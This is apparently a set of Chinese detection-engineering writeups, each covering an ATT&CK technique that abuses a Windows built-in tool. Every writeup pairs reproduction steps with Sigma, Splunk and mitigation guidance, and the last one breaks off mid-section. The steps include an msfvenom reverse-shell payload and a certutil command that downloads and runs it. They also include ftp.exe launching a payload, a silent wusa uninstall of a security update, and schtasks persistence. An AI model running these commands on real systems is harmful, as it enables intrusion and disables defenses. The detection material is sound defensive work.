攻击者可通过`schtasks`创建本地计划任务,定期运行恶意脚本或可执行文件,以维持系统访问或执行恶意操作。常见场景包括在系统启动时运行恶意Payload、定期下载新Payload或通过高权限账户上下文执行命令。由于`schtasks`是Windows内置工具,属于白名单进程,其行为可能被误认为是合法操作,增加检测难度。 ## 测试案例 1. **本地持久化** 攻击者使用`schtasks`创建本地计划任务,在系统启动时运行恶意脚本,实现持久化。 2. **定时恶意执行** 攻击者通过`schtasks`调度任务,在指定时间运行恶意可执行文件(如勒索软件)。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含`schtasks.exe`的命令行参数和子进程信息。 - **事件ID 4624/4625**:记录登录成功或失败,可能涉及计划任务的凭据使用。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`schtasks.exe`的完整命令行和父进程信息。 - **事件ID 11**:记录文件创建,可能涉及任务配置文件(`%systemroot%\System32\Tasks`)的修改。 **任务调度器日志** - **Microsoft-Windows-TaskScheduler/Operational**:记录计划任务的创建、更新或删除事件。 - 事件ID 106(Windows 7/2008 R2):任务注册。 - 事件ID 4698(Windows 10/2016):任务创建。 - 事件ID 4699/141:任务删除。 - 事件ID 4700/4701:任务启用/禁用。 - 事件ID 4702/140:任务更新。 **配置日志记录** - 启用命令行参数记录:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强进程和文件活动监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 7/10/2016,启用任务调度器服务。 - **日志**:配置Sysmon和Windows安全日志,记录进程创建(事件ID 4688、Sysmon ID 1)。 - **权限**:测试账户需具备本地管理员权限。 ### 攻击步骤 1. **创建本地计划任务** 执行以下命令,创建本地计划任务: ```cmd schtasks /create /tn "MaliciousTask" /tr "cmd.exe /c calc.exe" /sc onstart ``` 2. **验证任务** - 检查任务是否创建: ```cmd schtasks /query /tn "MaliciousTask" ``` - 重启系统,观察`calc.exe`是否启动。 ## 测试留痕 - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Windows\System32\schtasks.exe FileVersion: 10.0.19041.1 Description: Task Scheduler Configuration Tool CommandLine: schtasks /create /tn "MaliciousTask" /tr "cmd.exe /c calc.exe" /sc onstart User: \Administrator IntegrityLevel: High ``` - **Windows安全日志(事件ID 4688)**: ```plaintext EventID: 4688 New Process ID: 0x1234 New Process Name: C:\Windows\System32\schtasks.exe Process Command Line: schtasks /create /tn "MaliciousTask" /tr "cmd.exe /c calc.exe" /sc onstart Creator Process Name: C:\Windows\System32\cmd.exe ``` - **任务调度器日志(事件ID 4698)**: ```plaintext EventID: 4698 Task Name: MaliciousTask Task Action: cmd.exe /c calc.exe Trigger: On system start User: \Administrator ``` - **文件系统**:任务配置文件创建于`%systemroot%\System32\Tasks\MaliciousTask`。 ## 检测规则/思路 **检测规则** 通过分析Sysmon、Windows安全日志和任务调度器日志,检测`schtasks`创建或修改本地计划任务的异常行为。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,提取`schtasks.exe`的命令行参数,重点关注`/create`、`/run`、`/change`等参数。 - 监控任务调度器日志(事件ID 4698、4700、4702),检测新任务创建或异常更新。 - 检查`%systemroot%\System32\Tasks`目录的更改,识别未知任务文件。 2. **Sigma规则**: ```yaml title: schtasks本地计划任务 id: 4a7b8c9d-6f2a-4b1c-a9e6-2f3e4c5d6e7b status: stable description: 检测可疑的schtasks本地计划任务,可能表明持久性或恶意执行 author: 12306Bro date: 2025/06/06 references: - https://attack.mitre.org/techniques/T1053/005/ - https://www.elastic.co/guide/en/siem/guide/current/local-scheduled-task-commands.html tags: - attack.persistence - attack.t1053.005 logsource: category: process_creation product: windows detection: selection: EventID: - 1 # Sysmon进程创建 - 4688 # Windows安全日志进程创建 Image|endswith: '\schtasks.exe' CommandLine|contains: - '/create' - '-create' - '/run' - '-run' - '/change' - '-change' condition: selection falsepositives: - 合法的软件安装或更新 - 管理员手动创建的任务 level: medium ``` 3. **Elastic规则**: ```plaintext event.action:"Process Create (rule: ProcessCreate)" and process.name:schtasks.exe and process.args:(-change or -create or -run or /change or /create or /run) ``` 4. **任务调度器日志规则**: - 监控任务创建、启用或更新事件。 - Splunk查询: ```spl source="Microsoft-Windows-TaskScheduler/Operational" (EventCode=4698 OR EventCode=4700 OR EventCode=4702) | stats count by TaskName, Action, User, ComputerName ``` 5. **文件系统监控**: - 监控`%systemroot%\System32\Tasks`目录的创建或修改。 - Sysmon配置: ```xml %SystemRoot%\System32\Tasks ``` 6. **威胁情报整合**: - 检查任务执行的命令或文件路径是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御`schtasks`本地计划任务的恶意使用需从权限控制、系统加固和监控入手: 1. **限制schtasks使用** - 配置AppLocker或组策略,限制非管理员用户运行`schtasks.exe`。 2. **禁用不必要的计划任务** - 配置组策略,禁止非管理员创建计划任务: - 路径:`计算机配置 > 管理模板 > Windows组件 > 任务计划程序 > 禁止非管理员创建任务`。 3. **网络访问控制** - 限制RPC(端口135)和SMB(端口445)的外部访问,仅允许白名单IP。 - 配置防火墙阻止未经授权的远程任务调度。 4. **凭据保护** - 启用多因素认证(MFA)保护管理员账户。 - 实施强密码策略,避免凭据泄露。 5. **日志和监控** - 启用命令行参数记录,增强Windows安全日志(事件ID 4688)或Sysmon(事件ID 1)监控。 - 配置SIEM检测`schtasks.exe`的异常命令行模式和任务调度器日志。 6. **定期审计** - 使用Sysinternals Autoruns检查`%systemroot%\System32\Tasks`中的任务,识别与已知软件无关的异常任务。 ### 检测 检测工作应集中在`schtasks`创建或修改本地计划任务的行为上,包括但不限于: - **进程行为监控**:分析Sysmon或Windows安全日志,检测`schtasks.exe`使用`/create`、`/run`、`/change`等参数。 - **任务调度器监控**:检查任务调度器日志(事件ID 4698、4700、4702),识别异常任务创建或更新。 - **文件系统监控**:监控`%systemroot%\System32\Tasks`目录的更改,检测未知任务文件。 - **威胁情报整合**:结合威胁情报,检查任务执行的命令或文件是否与已知恶意活动相关。 ## 参考推荐 - MITRE ATT&CK: T1053.005 - Schtasks命令详解 - Elastic: Local Scheduled Task Commands ================================================ FILE: Windows/04执行/T1059-win-使用Certutil.exe执行Payload(白名单).md ================================================ # T1059-Win-使用Certutil.exe执行Payload(白名单) ## 描述 攻击者可能利用命令行界面工具(如Windows的`certutil.exe`)与系统交互,执行任务或启动恶意软件,以实现信息收集、恶意代码执行或横向移动(T1059)。`certutil.exe`是Windows操作系统中作为证书服务的一部分安装的命令行工具,官方用途包括管理证书、检查证书吊销列表(CRL)等。然而,攻击者可滥用其功能(如`-urlcache`选项)从远程服务器下载文件并执行,从而绕过传统安全检测。由于`certutil.exe`是白名单进程,其行为可能被误认为是合法操作,增加检测难度。 常见的攻击场景包括使用`certutil.exe`下载恶意Payload(如`shell.exe`)并通过命令链式执行(如`&`)运行,结合Meterpreter反弹Shell。检测重点在于监控`certutil.exe`的异常命令行参数和后续进程行为。 ## 测试案例 1. **下载并执行恶意EXE** 攻击者使用`certutil.exe`从远程服务器下载恶意EXE文件并执行,获取Meterpreter会话。 2. **隐藏Payload执行** 攻击者通过`certutil.exe`下载Base64编码的Payload并解码执行,规避检测。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含`certutil.exe`的命令行参数(需启用命令行记录)。 - **事件ID 4689**:记录进程终止,可能用于关联进程生命周期。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`certutil.exe`的完整命令行和父进程信息。 - **事件ID 3**:记录网络连接,可能涉及`certutil.exe`发起的HTTP请求。 - **事件ID 11**:记录文件创建或写入,可能涉及下载的Payload文件。 **配置日志记录** - 启用命令行参数记录: - 路径:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`(Windows Server 2008及以上)。 - 部署Sysmon以增强进程、文件和网络活动监控。 ## 测试复现 ### 环境准备 - **攻击机**:Kali Linux 2019,安装Metasploit Framework和Python 2。 - **靶机**:Windows 7,安装Sysmon并启用Windows安全日志。 - **网络**:确保攻击机和靶机可通信(HTTP端口8000,Shell端口1234)。 ### 攻击步骤 1. **生成Payload** 在攻击机上使用`msfvenom`生成恶意可执行文件: ```bash msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.146 lport=1234 -f exe > shell.exe ``` 2. **设置Metasploit监听** 在攻击机上配置并启动Metasploit handler: ```bash msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.126.146 msf5 exploit(multi/handler) > set lport 1234 msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.126.146:1234 ``` 3. **开启HTTP服务** 在攻击机上启动简单HTTP服务器: ```bash python2 -m SimpleHTTPServer 8000 Serving HTTP on 0.0.0.0 port 8000 ... ``` 4. **靶机执行Payload** 在靶机上运行以下命令下载并执行Payload: ```dos certutil.exe -urlcache -split -f http://192.168.126.146:8000/shell.exe shell.exe & shell.exe ``` 5. **验证反弹Shell** 检查Metasploit终端,确认收到反弹Shell: ```bash [*] Started reverse TCP handler on 192.168.126.146:1234 [*] Sending stage (180291 bytes) to 192.168.126.149 [*] Meterpreter session 1 opened (192.168.126.146:1234 -> 192.168.126.149:49172) at 2025-06-06 23:01 PDT ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Sysmon日志(事件ID 1)**: ```plaintext EventID: 1 Image: C:\Windows\System32\certutil.exe FileVersion: 6.1.7600.16385 Description: CertUtil.exe CommandLine: certutil.exe -urlcache -split -f http://192.168.126.146:8000/shell.exe shell.exe & shell.exe User: \12306Br0 IntegrityLevel: Medium ``` - **Windows安全日志(事件ID 4688,启用命令行记录)**: ```plaintext EventID: 4688 New Process ID: 0xbcc New Process Name: C:\Windows\System32\certutil.exe Process Command Line: certutil.exe -urlcache -split -f http://192.168.126.146:8000/shell.exe shell.exe & shell.exe Creator Process Name: C:\Windows\System32\cmd.exe Token Elevation Type: TokenElevationTypeLimited (3) ``` - **Sysmon日志(事件ID 3)**: ```plaintext EventID: 3 Image: C:\Windows\System32\certutil.exe DestinationIp: 192.168.126.146 DestinationPort: 8000 Protocol: tcp ``` - **Sysmon日志(事件ID 11)**: ```plaintext EventID: 11 Image: C:\Windows\System32\certutil.exe TargetFilename: C:\Windows\shell.exe CreationUtcTime: 2025-06-06 23:01:15Z ``` ## 检测规则/思路 **检测规则** 通过分析Sysmon和Windows安全日志,检测`certutil.exe`执行Payload的异常行为。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,提取`certutil.exe`的命令行参数,重点关注`-urlcache`、`-split`、`-f`及HTTP URL。 - 监控Sysmon事件ID 3,检测`certutil.exe`发起的HTTP请求。 - 监控Sysmon事件ID 11,检测下载文件的创建或写入。 2. **Sigma规则**: ```yaml title: 可疑的Certutil命令执行Payload id: 2b3c4d5e-6f7a-8b9c-0d1e-2f3c4d5e6f7a status: stable description: 检测certutil.exe执行可疑命令(如下载并运行Payload),可能表明恶意行为 references: - https://attack.mitre.org/techniques/T1059/ - https://lolbas-project.github.io/lolbas/Binaries/Certutil/ tags: - attack.execution - attack.defense_evasion - attack.t1059 - attack.t1140 - attack.t1105 logsource: category: process_creation product: windows detection: selection: Image|endswith: '\certutil.exe' CommandLine|contains: - '-urlcache' - '/urlcache' - '-split' - '/split' - '-f' - '/f' - 'http' condition: selection fields: - CommandLine - ParentCommandLine falsepositives: - 合法的证书管理或CRL检查 - 管理员运行的维护脚本 level: high ``` 3. **SIEM规则**: - 检测`certutil.exe`的异常下载行为。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\certutil.exe" (CommandLine="*urlcache*" OR CommandLine="*split*" OR CommandLine="*-f*" OR CommandLine="*http*") | stats count by Image, CommandLine, ComputerName, User ``` 4. **网络流量分析**: - 监控`certutil.exe`发起的HTTP/HTTPS请求,检测可疑URL。 - 示例Wireshark过滤器: ```plaintext http.request and ip.src == and http.request.uri contains ".exe" ``` 5. **文件系统监控**: - 检测`certutil.exe`下载的文件是否被执行。 - 示例Sysmon配置: ```xml shell.exe ``` 6. **威胁情报整合**: - 检查`certutil.exe`访问的URL、IP或下载文件的哈希值是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御`certutil.exe`的恶意使用需从权限控制、系统加固和监控入手: 1. **限制Certutil执行** - 配置AppLocker或组策略,限制非管理员用户运行`certutil.exe`。 2. **禁用不必要的功能** - 限制`certutil.exe`的网络访问功能(如`-urlcache`),通过组策略或脚本拦截相关命令。 3. **网络访问控制** - 配置防火墙,限制`certutil.exe`的出站HTTP/HTTPS连接,仅允许白名单域名。 - 使用代理服务器监控和过滤`certutil.exe`的网络流量。 4. **凭据保护** - 启用多因素认证(MFA)保护管理员账户。 - 实施强密码策略,避免凭据泄露。 5. **日志和监控** - 启用命令行参数记录,增强Windows安全日志(事件ID 4688)或Sysmon(事件ID 1/3/11)监控。 - 配置SIEM检测`certutil.exe`的异常命令行和下载行为。 6. **定期审计** - 使用Sysinternals Process Monitor检查`certutil.exe`的进程活动,识别异常文件操作或网络请求。 ### 检测 检测工作应集中在`certutil.exe`的异常下载和执行行为上,包括但不限于: - **进程行为监控**:分析Sysmon或Windows安全日志,检测`certutil.exe`使用`-urlcache`或`-split`参数。 - **网络流量监控**:检查`certutil.exe`发起的HTTP/HTTPS请求,识别可疑URL。 - **文件系统监控**:检测下载文件(如`shell.exe`)的创建和执行。 - **威胁情报整合**:结合威胁情报,检查下载的URL或文件是否与已知恶意活动相关。 ## 参考推荐 - MITRE ATT&CK: T1059 - LOLBAS Project: Certutil - Certutil Usage ================================================ FILE: Windows/04执行/T1059-win-使用Ftp.exe执行Payload(白名单).md ================================================ # T1059-Win-使用Ftp.exe执行Payload(白名单) ## 描述 攻击者可能利用Windows命令行界面工具(如`ftp.exe`)与系统交互,执行恶意命令或Payload,以实现恶意代码执行、持久性或横向移动(T1059)。`ftp.exe`是Windows操作系统内置的命令行FTP客户端,用于与FTP服务器交互,传输文件。由于其白名单特性,`ftp.exe`常被攻击者滥用,通过其交互模式运行本地可执行文件或脚本,规避传统安全检测。 攻击者可能通过`ftp.exe`的`!`命令在本地执行恶意Payload(如`payload.exe`),结合Metasploit反弹Shell。`ftp.exe`的默认路径(`C:\Windows\System32\ftp.exe`或`C:\Windows\SysWOW64\ftp.exe`)已被添加到系统环境变量`PATH`,因此可直接调用。检测重点在于监控`ftp.exe`的异常子进程、命令行参数和网络活动。 ## 测试案例 1. **通过FTP执行本地Payload** 攻击者上传恶意可执行文件到靶机,通过`ftp.exe`的`!`命令执行,获取Meterpreter反弹Shell。 2. **结合FTP下载Payload** 攻击者使用`ftp.exe`从远程FTP服务器下载恶意文件并执行。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含`ftp.exe`及其子进程(如`payload.exe`)的命令行参数(需启用命令行记录)。 - **事件ID 5156**:记录应用程序的网络连接,包含`payload.exe`的出站连接信息。 - **事件ID 4689**:记录进程终止,可能用于关联进程生命周期。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`ftp.exe`及其子进程的完整命令行、父进程和子进程信息。 - **事件ID 3**:记录网络连接,可能涉及`payload.exe`的反弹Shell或FTP通信。 - **事件ID 11**:记录文件创建,可能涉及下载的Payload文件。 **配置日志记录** - 启用命令行参数记录: - 路径:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`(Windows Server 2008及以上)。 - 部署Sysmon以增强进程、文件和网络活动监控。 ## 测试复现 ### 环境准备 - **攻击机**:Kali Linux 2019,安装Metasploit Framework。 - **靶机**:Windows Server 2012,安装Sysmon并启用Windows安全日志。 - **网络**:确保攻击机和靶机可通信(Shell端口53)。 - **文件**:`payload.exe`已上传至靶机路径`C:\Users\12306Br0\Desktop\a\payload.exe`。 ### 攻击步骤 1. **生成Payload** 在攻击机上使用`msfvenom`生成恶意可执行文件: ```bash msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=53 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe ``` 2. **设置Metasploit监听** 在攻击机上配置并启动Metasploit handler: ```bash msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 192.168.126.146 msf5 exploit(multi/handler) > set lport 53 msf5 exploit(multi/handler) > set AutoRunScript migrate -f msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.126.146:53 ``` 3. **靶机执行Payload** 在靶机上启动`ftp.exe`并执行本地Payload: ```cmd ftp ftp> !C:\Users\12306Br0\Desktop\a\payload.exe ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 4. **验证反弹Shell** 检查Metasploit终端,确认收到反弹Shell并完成进程迁移: ```bash [*] Started reverse TCP handler on 192.168.126.146:53 [*] Sending stage (180291 bytes) to 192.168.126.149 [*] Meterpreter session 1 opened (192.168.126.146:53 -> 192.168.126.149:49219) at 2025-06-06 23:08 PDT [*] Session ID 1 (192.168.126.146:53 -> 192.168.126.149:49219) processing AutoRunScript 'migrate -f' [*] Current server process: payload.exe (2324) [*] Spawning notepad.exe process to migrate to [+] Migrating to 2888 [+] Successfully migrated to process meterpreter > getuid Server username: 12306Br0-PC\12306Br0 ``` ## 测试留痕 ```log EventID:4688 #安全日志,windows server 2012以上配置审核策略,可对命令参数进行记录 进程信息: 新进程 ID: 0x474 新进程名: C:\Windows\System32\cmd.exe EventID:4688 进程信息: 新进程 ID: 0x3f8 新进程名: C:\Users\12306Br0\Desktop\a\payload.exe EventID:5156 应用程序信息: 进程 ID: 1016 应用程序名称: \device\harddiskvolume2\users\12306br0\desktop\a\payload.exe 网络信息: 方向: 出站 源地址: 192.168.126.149 源端口: 49221 目标地址: 192.168.126.146 目标端口: 53 协议: 6 EventID:1 #sysmon日志 Image: C:\Windows\System32\cmd.exe FileVersion: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Description: Windows Command Processor Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: Cmd.Exe CommandLine: C:\Windows\system32\cmd.exe /C C:\Users\12306Br0\Desktop\a\payload.exe CurrentDirectory: C:\Windows\system32\ User: 12306Br0-PC\12306Br0 LogonGuid: {bb1f7c32-e7a1-5e9a-0000-0020ac500500} LogonId: 0x550ac TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=0F3C4FF28F354AEDE202D54E9D1C5529A3BF87D8 ParentProcessGuid: {bb1f7c32-ed99-5e9a-0000-00105addaf00} ParentProcessId: 1112 ParentImage: C:\Windows\System32\ftp.exe ParentCommandLine: ftp ``` ## 检测规则/思路 **检测规则** 通过分析Sysmon和Windows安全日志,检测`ftp.exe`执行Payload的异常行为。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,提取`ftp.exe`及其子进程(如`cmd.exe`或`payload.exe`)的命令行参数。 - 监控Sysmon事件ID 3,检测`payload.exe`的出站网络连接(如反弹Shell)。 - 检查`ftp.exe`的父进程和命令行,识别是否通过`!`命令执行本地文件。 2. **Sigma规则**: ```yaml title: 可疑的Ftp.exe执行Payload id: 3c4d5e6f-7a8b-9c0d-1e2f-3c4d5e6f7a8b status: experimental description: 检测ftp.exe通过!命令执行本地Payload,可能表明恶意行为 references: - https://attack.mitre.org/techniques/T1059/ - https://www.77169.net/html/235306.html tags: - attack.execution - attack.t1059 - attack.t1105 logsource: category: process_creation product: windows detection: selection: EventID: - 1 # Sysmon - 4688 # Windows安全日志 ParentImage|endswith: '\ftp.exe' Image|endswith: - '\cmd.exe' - '\powershell.exe' - '.exe' # 可执行文件 condition: selection fields: - CommandLine - ParentCommandLine falsepositives: - 合法的FTP客户端操作 - 管理员运行的自动化脚本 level: high ``` 3. **SIEM规则**: - 检测`ftp.exe`生成的可疑子进程。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 ParentImage="*\ftp.exe" Image IN ("*\cmd.exe", "*\powershell.exe", "*.exe") | stats count by Image, CommandLine, ParentImage, ComputerName, User ``` 4. **网络流量分析**: - 监控`payload.exe`的出站连接,检测反弹Shell或FTP通信。 - 示例Wireshark过滤器: ```plaintext tcp.port == 53 or ftp ``` 5. **威胁情报整合**: - 检查`payload.exe`的哈希值或网络连接的IP/URL是否与已知恶意活动相关,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御`ftp.exe`的恶意使用需从权限控制、系统加固和监控入手: 1. **网络访问控制** - 配置防火墙,限制`ftp.exe`及其子进程的出站连接,仅允许白名单IP/端口。 - 禁用靶机的FTP客户端功能,防止未经授权的连接。 2. **凭据保护** - 启用多因素认证(MFA)保护管理员账户。 - 实施强密码策略,避免凭据泄露。 3. **日志和监控** - 启用命令行参数记录,增强Windows安全日志(事件ID 4688)或Sysmon(事件ID 1/3/11)监控。 - 配置SIEM检测`ftp.exe`生成的可疑子进程或网络活动。 4. **定期审计** - 使用Sysinternals Process Explorer检查`ftp.exe`的进程活动,识别异常子进程或网络请求。 ### 检测 检测工作应集中在`ftp.exe`的异常子进程和网络行为上,包括但不限于: - **子进程监控**:分析Sysmon或Windows安全日志,检测`ftp.exe`生成`cmd.exe`或其他可执行文件。 - **命令行分析**:检查`ftp.exe`的命令行参数,识别`!`命令执行本地文件的行为。 - **网络流量监控**:检测`payload.exe`的出站连接(如反弹Shell)。 - **威胁情报整合**:结合威胁情报,检查Payload文件的哈希值或网络连接是否与已知恶意活动相关。 ## 参考推荐 - MITRE ATT&CK: T1059 - 基于白名单Ftp.exe执行Payload - 基于白名单的Payload ================================================ FILE: Windows/04执行/T1059-win-使用wusa卸载系统更新.md ================================================ # T1059-Win-使用wusa卸载系统更新 ## 描述 攻击者可能利用Windows命令行界面工具(如`wusa.exe`)与系统交互,执行恶意操作以实现防御规避或持久性(T1059)。`wusa.exe`(Windows Update Standalone Installer)是Windows操作系统内置的命令行工具,用于安装或卸载Windows更新补丁(`.msu`文件)。攻击者可滥用`wusa.exe`卸载特定的系统更新(如KB890830,Windows恶意软件删除工具),以移除安全补丁或检测工具,从而为后续攻击铺路。由于`wusa.exe`是白名单进程,其行为可能被误认为是合法操作,增加检测难度。 常见攻击场景包括通过`wusa.exe`的`/uninstall`参数静默卸载安全更新,结合`/quiet`和`/norestart`选项避免用户察觉。检测重点在于监控`wusa.exe`的命令行参数(如`/uninstall`或`/extract`)以及异常的父进程和上下文。 ## 测试案例 1. **卸载安全更新** 攻击者使用`wusa.exe /uninstall /kb:890830 /quiet /norestart`卸载Windows恶意软件删除工具(KB890830)。 2. **提取更新内容** 攻击者通过`wusa.exe /extract`提取更新包内容,可能用于分析或篡改。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含`wusa.exe`的命令行参数(需启用命令行记录)。 - **事件ID 4689**:记录进程终止,可能用于关联进程生命周期。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`wusa.exe`的完整命令行、父进程和子进程信息。 - **事件ID 11**:记录文件创建或写入,可能涉及提取的更新文件。 **Windows更新日志** - **Microsoft-Windows-WindowsUpdateClient/Operational**:记录更新安装或卸载事件。 - 事件ID 19:更新安装完成。 - 事件ID 20:更新卸载完成。 **配置日志记录** - 启用命令行参数记录: - 路径:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`(Windows Server 2008及以上)。 - 部署Sysmon以增强进程和文件活动监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows Server 2019或Windows 10,安装Sysmon并启用Windows安全日志。 - **权限**:测试账户需具备管理员权限(`wusa.exe`卸载更新需要高权限)。 - **更新**:确保目标更新(如KB890830)已安装,可通过`wmic qfe list`检查。 ### 攻击步骤 1. **检查已安装更新** 在靶机上运行以下命令,确认KB890830是否存在: ```cmd wmic qfe list | findstr "890830" ``` 2. **执行卸载命令** 在命令提示符(以管理员身份运行)中执行: ```cmd wusa /uninstall /kb:890830 /quiet /norestart ``` ## 测试留痕 ```yml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2022/12/26 16:33:23 事件 ID: 4688 任务类别: Process Creation 级别: 信息 关键字: 审核成功 用户: 暂缺 计算机: WIN-SAPNNP06AE5.jackma.com 描述: 已创建新进程。 创建者主题: 安全 ID: JACKMA\Administrator 帐户名: Administrator 帐户域: JACKMA 登录 ID: 0x73509 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0xf88 新进程名称: C:\Windows\System32\wusa.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0xa78 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: wusa /uninstall /kb:890830 /quiet /norestart ``` ## 检测规则/思路 **检测规则** 通过分析Sysmon、Windows安全日志和Windows更新日志,检测`wusa.exe`卸载系统更新的异常行为。以下是具体思路: 1. **日志分析**: - 收集Sysmon事件ID 1或Windows安全事件ID 4688,提取`wusa.exe`的命令行参数,重点关注`/uninstall`、`/extract`、`/quiet`和`/norestart`。 - 监控Windows更新日志(事件ID 20),检测关键安全更新的卸载事件。 - 检查`wusa.exe`的父进程,识别是否由异常进程(如`powershell.exe`)启动。 2. **Sigma规则**: ```yaml title: 使用wusa卸载系统更新 id: 4d5e6f7a-8b9c-0d1e-2f3c-4d5e6f7a8b9c status: stable description: 检测wusa.exe卸载系统更新补丁,可能表明防御规避行为 references: - https://attack.mitre.org/techniques/T1059/ - https://jingyan.baidu.com/article/75ab0bcbe20d5b97864db2ff.html tags: - attack.execution - attack.defense_evasion - attack.t1059 logsource: category: process_creation product: windows detection: selection: Image|endswith: '\wusa.exe' CommandLine|contains: - '/uninstall' - '-uninstall' - '/extract' - '-extract' condition: selection fields: - CommandLine - ParentCommandLine falsepositives: - 合法的系统维护操作 - 管理员手动卸载更新 level: medium ``` 3. **SIEM规则**: - 检测`wusa.exe`的卸载或提取行为。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\wusa.exe" (CommandLine="*uninstall*" OR CommandLine="*extract*") | stats count by Image, CommandLine, ParentImage, ComputerName, User ``` 4. **更新日志监控**: - 检测关键安全更新的卸载事件。 - 示例Splunk查询: ```spl source="WinEventLog:Microsoft-Windows-WindowsUpdateClient/Operational" EventCode=20 UpdateTitle="*KB890830*" | stats count by UpdateTitle, Status, ComputerName ``` 5. **威胁情报整合**: - 检查卸载的更新(如KB890830)是否为已知安全补丁,结合威胁情报平台(如VirusTotal、AlienVault)分析后续行为。 ## 建议 ### 缓解措施 防御`wusa.exe`的恶意使用需从权限控制、系统加固和监控入手: 1. **限制Wusa执行** - 配置AppLocker或组策略,限制非管理员用户运行`wusa.exe`。 2. **限制更新卸载** - 配置组策略,禁止用户卸载Windows更新: - 路径:`计算机配置 > 管理模板 > Windows组件 > Windows更新 > 配置自动更新`。 3. **权限控制** - 确保`wusa.exe`操作需要管理员权限,限制普通用户执行高权限命令。 - 启用用户账户控制(UAC),提示高权限操作。 4. **凭据保护** - 启用多因素认证(MFA)保护管理员账户。 - 实施强密码策略,避免凭据泄露。 5. **日志和监控** - 启用命令行参数记录,增强Windows安全日志(事件ID 4688)或Sysmon(事件ID 1)监控。 - 配置SIEM检测`wusa.exe`的`/uninstall`或`/extract`行为。 - 使用EDR/EPP工具监控`wusa.exe`的命令行参数和进程行为。 6. **定期审计** - 使用`wmic qfe list`或PowerShell命令(如`Get-HotFix`)定期检查系统更新状态,识别异常卸载。 ### 检测 检测工作应集中在`wusa.exe`的卸载或提取行为上,包括但不限于: - **进程行为监控**:分析Sysmon或Windows安全日志,检测`wusa.exe`使用`/uninstall`或`/extract`参数。 - **更新状态监控**:检查Windows更新日志,识别关键安全补丁的卸载事件。 - **父进程分析**:检测`wusa.exe`是否由异常父进程(如`powershell.exe`)启动。 - **威胁情报整合**:结合威胁情报,分析卸载的更新是否与已知攻击活动相关。 ## 参考推荐 - MITRE ATT&CK: T1059 - Win10 wusa命令卸载系统更新 ================================================ FILE: Windows/04执行/T1059-win-进程生成CMD.md ================================================ # T1059-Win-进程生成Cmd ## 描述 攻击者可能利用命令行界面(如Windows的`cmd.exe`)与系统交互,执行命令或启动其他软件,以实现信息收集、恶意代码执行或横向移动(T1059)。`cmd.exe`是Windows操作系统内置的命令提示符,提供命令行环境,支持运行内置命令(如`dir`、`copy`、`mkdir`)、批处理脚本(`.bat`)以及外部程序。攻击者可通过本地交互、远程桌面、反向Shell会话等方式运行`cmd.exe`,命令以当前进程的权限级别执行,除非涉及权限上下文更改(如计划任务T1053)。 `cmd.exe`因其白名单特性常被攻击者滥用,典型场景包括通过异常父进程(如`winword.exe`或`acrord32.exe`)启动`cmd.exe`,表明可能的恶意文档加载或漏洞利用。检测重点在于识别异常的父进程或可疑的命令行参数,结合上下文分析攻击行为。 ## 测试案例 1. **恶意文档触发CMD** 攻击者通过Office文档(Word/Excel)中的宏或漏洞利用,启动`cmd.exe`执行恶意命令。 2. **异常父进程生成CMD** 非典型父进程(如`acrord32.exe`或`outlook.exe`)启动`cmd.exe`,运行可疑脚本或命令。 ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录进程创建,包含`cmd.exe`的命令行参数、父进程和子进程信息。 - 